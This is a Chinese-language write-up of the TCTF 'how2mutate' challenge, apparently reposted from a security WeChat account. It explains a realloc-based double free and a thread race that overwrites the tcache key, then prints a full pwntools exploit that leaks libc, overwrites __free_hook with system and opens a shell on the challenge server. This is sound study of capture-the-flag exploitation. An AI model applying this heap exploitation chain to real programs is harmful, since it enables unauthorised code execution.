【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用

  • A+
所属分类:CTF专场
【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用
 
how2mutate这个题目给出了源码,是一个结合honggfuzz开源项目的题目。虽然看起来比较复杂,但是其实就是一个菜单题目,仔细分析一下就可以找到漏洞。


分析


这里我们先看一下题目的描述
using honggfuzz commit 7eecfc991d0ae540d9773a6feb8fac5012a55ed6
remote server is newest Ubuntu:20.04 docker (IMAGE ID 9873176a8ff5) . find the libs yourself :)
这里我首先是搜索了一下7eecfc991d0ae540d9773a6feb8fac5012a55ed6这个commit
【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用
导致一开始我以为这是一个溢出的漏洞。😅
这里我们首先看一下main函数
seeds = (uint8_t **)util_Calloc(8*16);puts(menu);while (1) {    printf("> ");    read(0, buf, 4);    if (buf[0] == '1') {        add_seed();    } else if (buf[0] == '2') {        mutate_seed();    } else if (buf[0] == '3') {        show_seed();    } else if (buf[0] == '4') {        delete_seed();    } else if (buf[0] == '5') {        set_mutate();    } else if (buf[0] == '6') {        subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);    } else {        break;    }}
前面的部分不太重要,这里只选取了一些重要的部分。也就是可以看到这里有6个功能,分别是add,mutate,show,delete,set_mutate以及fuzz。我们依次看一下,首先是add函数
void add_seed() {    int i=0;    while (i<10 && seeds[i]) i++;    if (i<10) {        printf("size: ");        scanf("%d", &seedssz[i]);        int sz = seedssz[i]+1;        if (sz>0 && sz<0x8000) {            printf("content: ");            seeds[i] = util_Calloc(sz);            read(0, seeds[i], seedssz[i]);        }    }}
这里可以看到我们一共可以申请10个seed,其中size的大小是我们可以进行控制的。函数会按照我们输入的size调用util_Calloc函数申请size+1大小的内存空间,将得到的buf地址存储到seeds数组中,并将我们输入的size的值存储在seedssz数组中。注意到这里我们输入的size是可以为0的。
来看一下util_Calloc函数,这个是honggfuzz自己封装实现的内存分配函数
void* util_Realloc(void* ptr, size_t sz) {    void* ret = realloc(ptr, sz);    if (ret == NULL) {        PLOG_W("realloc(%p, %zu)", ptr, sz);        free(ptr);        return NULL;    }    return ret;}
那么这里很明显的存在一个漏洞,也就是传入的参数sz=0的时候,realloc的实际作用就相当于是free函数,返回值为NULL,将ptr指向的内存空间free掉之后,会进入之后的if分支,可以看到这里再一次free掉了ptr内存指针。也就是存在一个DoubleFree的漏洞。但是正常情况下这个漏洞没办法利用,因为这里的环境是20.04的环境,也就是对tcache的double free进行了检查。但是这里传入的参数是sz,也就是size+1,即add函数中无法触发这个漏洞。
我们继续向下分析。
void mutate_seed() {    char buf[16];    printf("index: ");    read(0, buf, 4);    if (buf[0]>='0' && buf[0]<='9') {        int idx = buf[0]-'0';        if (seeds[idx]) {            run.dynfile->size = seedssz[idx];            memcpy(run.dynfile->data, seeds[idx], seedssz[idx]);            mangle_mangleContent(&run, 1);            seedssz[idx] = run.dynfile->size;            seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);            memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);        }    }}
这个函数其实就是一个种子变异的函数。函数首先根据我们指定index将对应的种子的内容拷贝到run.dynfile->data函数中,之后调用mangle_mangleContent函数,我们可以结合honggfuzz分析一下这个函数,从分析可以得出这个函数的功能是执行种子的变异,我们看一下前半段的内容。
void mangle_mangleContent(run_t* run, int speed_factor) {    static void (*const mangleFuncs[])(run_t * run, bool printable) = {        mangle_Shrink,        mangle_Expand,        mangle_Bit,        mangle_IncByte,        mangle_DecByte,        mangle_NegByte,        mangle_AddSub,        mangle_MemSet,        mangle_MemClr,        mangle_MemSwap,        mangle_MemCopy,        mangle_Bytes,        mangle_ASCIINum,        mangle_ASCIINumChange,        mangle_ByteRepeat,        mangle_Magic,        mangle_StaticDict,        mangle_ConstFeedbackDict,        mangle_RandomBuf,        mangle_Splice,    };
if (run->mutationsPerRun == 0U) { return; }//...}
可以看到这里如果run->mutationsPerRun为0的话,那么就直接返回不在执行之后的种子变异的操作。而这个成员变量我们可以通过set_mutate函数来进行设置
void set_mutate() {    char buf[16];    printf("mutationsPerRun: ");    read(0, buf, 4);    if (buf[0]>='0' && buf[0]<='9') {        int x = buf[0]-'0';        hfuzz.mutate.mutationsPerRun = x;        run.mutationsPerRun = x;    }}
这里如果我们输入0的话,那么就会关闭种子变异的功能。继续分析一下mutate_seed函数,当mangle_mangleContent函数执行结束之后我们发现其再次调用了util_Realloc函数
seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);
那么这里函数传入的参数就是seedssz[idx],也就是我们输入的size,是可以为0的,也就是这里是可以触发漏洞的。触发完毕漏洞之后会执行memcpy函数,这里的seeds[idx]的值就变为了0,但是由于seedssz[idx]的值也是0,因此这里不会报错。
 

条件竞争


在找到漏洞之后接下来就是如何利用的问题,由于20.04开启了tcache keys对tcache的double free进行了检测,因此这里我们还需要找到一种方法来对keys进行覆写。我们继续分析之后的函数,也就是可以对buf进行覆写的函数,并且这个函数要单独的执行一个线程,这样才能够在两次free中间进行覆写keys构造出double free。妥妥的条件竞争。
这里注意到在main函数的菜单中,fuzz功能是通过重新启动一个线程来完成的。
subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);static void* tofuzz(void* arg) {    for (int c=0; c<0xffffff; c++) {        for (int i=0; i<10; i++)            if (seeds[i]) {                fuzzone(seeds[i]);            }    }}
tofuzz的功能是对存在的没个seed执行fuzzone的调用。而fuzzone函数则是根据我们输入的种子的内容进行一个对buf的改写,看内容来说是进行路径的选择,重要的是这里会对buf[1:16]的内容进行改写,而tcache keys恰好就在偏移0x8的位置。
那么我们选择fuzzone的哪个路径呢。这里分析一下,我们想要的覆写keys的操作是在第一次free结束,第二次free开始之前完成。那么当第一次free结束之后,buf的前0x10就会被覆写,其中0-0x8会被覆写为tcache中下一个堆块的地址,而0x8-0x10会被覆写为keys的值。而注意到这里的堆地址一定是0x10对其的,因此这里的路径选择其实不多只能选择buf[0]=0的条件下的覆写,因为0的ascii码是0x30,只要我们布局合理就可以进入到这个路径中。
if (buf[0] == '0') {    bool ok=true;    for (i=2; i<15; i++) {        buf[i] -= buf[i-1];        if (buf[i] != buf[i+1])            ok = false;    }    if (ok)        puts("path 9");}
之后就会改写buf[1:16]的内容,也就是将keys改写,在第二次free的时候就会成功触发,构造出double free。
那么这里的竞争窗口有多大呢,我们再来看一下两次free的流程。
void* ret = realloc(ptr, sz);if (ret == NULL) {    PLOG_W("realloc(%p, %zu)", ptr, sz);    free(ptr);    return NULL;}
两次free中间会执行一个条件判断和一个日志输入,终点就是这个日志输出函数,这里的执行时间还是挺长的,竞争窗口很大,条件竞争构造DoubleFree可行。
 

利用


那么接下来就是DoubleFree的利用了。这里的DoubleFree很明显的可以转化为任意地址分配。
那么首先需要进行的就是地址泄漏,在本地调试的时候进行日志输出也就是PLOG_W函数执行的时候会进行一系列的地址分配,完成输出之后会残留有一个unsorted bin堆块,并且如果在add_seed函数中调用的话,最后还会输出一个堆地址,那么利用上述的地址分配到unsorted bin地址处就可以完成libc的地址泄漏了。
但是远程的环境与本地不同,并没有残留有unsorted bin的堆块,因此只能够提前部署一个unsorted bin的堆块进行libc地址的泄漏,之后再任意地址分配覆写free_hook为system
完整的exp如下
# -*- coding: utf-8 -*-from pwn import *
file_path = "./how2mutate"context.arch = "amd64"context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0if debug: p = process([file_path]) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('111.186.59.27', 12345) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
def add_seed(size, content=b"n"): p.sendlineafter("> ", "1") p.sendlineafter("size: ", str(size)) if size > 0: p.sendafter("content: ", content)
def mutate_seed(index): p.sendlineafter("> ", "2") p.sendlineafter("index: ", str(index))
def show_seed(): p.sendlineafter("> ", "3")
def delete_seed(index): p.sendlineafter("> ", "4") p.sendlineafter("index: ", str(index))
def set_mutate(mutate): p.sendlineafter("> ", "5") p.sendlineafter("mutationsPerRun: ", str(mutate))
def fuzz(): p.sendlineafter("> ", "6")
heap_address = 0set_mutate(0)
for i in range(1): add_seed(0x17, b"a" * 0x17)
for i in range(1): delete_seed(i)
add_seed(0) # 0mutate_seed(0)p.recvuntil("realloc(")heap_address = int(p.recvuntil(",", drop=True), 16)log.success("heap address is {}".format(hex(heap_address)))
add_seed(0x17, b"a" * 0x17) # 0if debug: add_seed(0x70 + 0x400, b"a") # 1else: add_seed(0x80 + 0x400, b"a") # 1
add_seed(0x17, b"a" * 0x17) # 2
delete_seed(1) # unsorted bin # 0x5a0delete_seed(2)delete_seed(0) # 0x3a0
if debug: gdb.attach(p, "b *$rebase(0x7000)nb *$rebase(0x1FB90)") log.success("heap address is {}".format(hex(heap_address))) log.success("libc address is {}".format(hex(libc.address)))fuzz()
add_seed(0)
mutate_seed(0)
if debug: show_address = heap_address + 0x8f0 + 0x50
else: show_address = heap_address + 0x3a0
add_seed(0x10, p64(show_address)) # 0add_seed(0x8, b"a") # 1add_seed(0x8, b"a") # 2add_seed(0x40, b"a") # 3log.success("show address is {}".format(hex(show_address)))
show_seed()p.recvuntil("2: ")libc.address = u64(p.recvline().strip().ljust(8, b"x00")) - 96 - 0x10 - libc.sym['__malloc_hook']log.success("libc address is {}".format(hex(libc.address)))
add_seed(0x8, b"a" * 0x8) # 4 = 2if debug: add_seed(0x20, b"/bin/shx00") # 5 add_seed(0x20, b"/bin/shx00") # 6else: add_seed(0xc0, b"/bin/shx00") # 5add_seed(0x8, b"a" * 0x8) # 6
if debug: delete_seed(6)else: delete_seed(7)fuzz()delete_seed(4)delete_seed(2)add_seed(0x8, p64(libc.sym['__free_hook'])) # 3add_seed(0x8, b"/bin/shx00") # 5add_seed(0x8, p64(libc.sym['system'])) # 7
delete_seed(5)
p.interactive()

【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用


- End -
精彩推荐
【技术分享】WebLogic CVE-2021-2135分析及POC构造遇到的问题
【技术分享】分享一个最近的一次应急溯源
【技术分享】工控攻防演示——从外网到内网控制系统设备的入侵
【技术分享】对抗样本及其背后性质分析(实战导向)
【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用
戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】TCTF线上赛how2mutate学习条件竞争DoubleFree的利用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: